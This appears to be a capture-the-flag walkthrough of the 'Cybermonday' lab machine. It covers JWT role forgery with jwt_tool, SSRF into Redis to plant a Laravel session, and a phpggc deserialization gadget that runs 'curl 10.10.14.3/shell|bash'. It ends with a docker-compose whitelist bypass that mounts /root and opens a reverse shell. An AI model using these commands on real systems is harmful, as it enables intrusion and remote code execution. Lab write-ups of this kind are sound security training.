To create a webhook service ,we need admin role ,and current token has user role only
now we take the token and use jwks.json to extract the public key first
python3 jwt_tool.py "$TOKEN" -jw "jwks.json" -V
then we change the value of role to admin using the extracted pem key
python3 jwt_tool.py "$TOKEN" -I -pc role -pv "admin" -X k -pk kid_0_1692632478.pem -v
Now we get into the other part ,check /webhooksendpoint
lets create another service 'sendRequest'
there is no filter or restriction on user input for the url parameter and we can inject things on method parameter, also we they do have running redis
i did some local redis testing to see how it will react ,and my conclusion was that ,if im able to communicate with redis and send commands ,i can set the laravel_session for a user on Cybermonday.htb site ,since its laravel
so first lets try to decrypt the user session
after reading env file ,we got APP_KEY ,now we move on ,to decrypt the session token
as per HERE you need app_key to decrypt X-XSRF-TOKEN value to be able to occur unserialize call
from the previous decrypt part code from hacktricks we modify few things
i run redis locally ,and tried to reach it out through the webhook sendRequest to find out how im gonna inject and how its gonna work on the remote redis db
now lets set laravel_session value that we found earlier in the env file
let's get the user cybermonday_session and note its not working for XSRF_TOKEN token
you can download the phpgcc gadget repo ,use this command to remove any json escapes to use it with burp
./phpggc Laravel/RCE10 system 'curl 10.10.14.3/shell|bash'| sed -e 's/\\/\\\\/g' -e 's/"/\\"/g'
Note: Refereshing the user page ,will trigger the unserialized error.
User - Path
Network Scan
now we uploaded nmap ,and also we need to upload chisel to forward ports ,we will be interested in port 5000 ,docker registery ,lets try to pull that
lets now try to pull it locally
docker run -d -t --name sam 127.0.0.1:5000/cybermonday_api
docker exec -it sam sh
here we found a password ,also from the first container reverse shell ,we find a username in /mnt/.ssh/authorized_keys
Root
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user():
return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
To bypass the check ,we have to create two yamls configuration files ,first one is legit ,and second one is malicious ,we connect both of them using extend ,and in malicious yaml we use volumes to mount /root dir ,and command ,to execute a reverseshell